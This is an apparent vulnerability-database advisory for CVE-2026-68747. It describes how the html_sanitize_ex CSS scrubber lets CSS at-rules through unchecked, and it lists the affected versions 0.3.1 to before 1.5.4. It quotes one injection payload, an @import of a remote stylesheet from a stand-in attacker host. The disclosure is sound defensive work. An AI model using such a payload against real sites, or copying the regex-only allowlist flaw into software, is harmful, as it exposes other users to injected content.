CVE-2026-68747: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenti
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Details
Original advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-68747
Referenced CVEs
| CVE | CSIRTS overview | External |
|---|---|---|
| CVE-2026-68747 | coverage & exploitation status | NVD · CVE.org |
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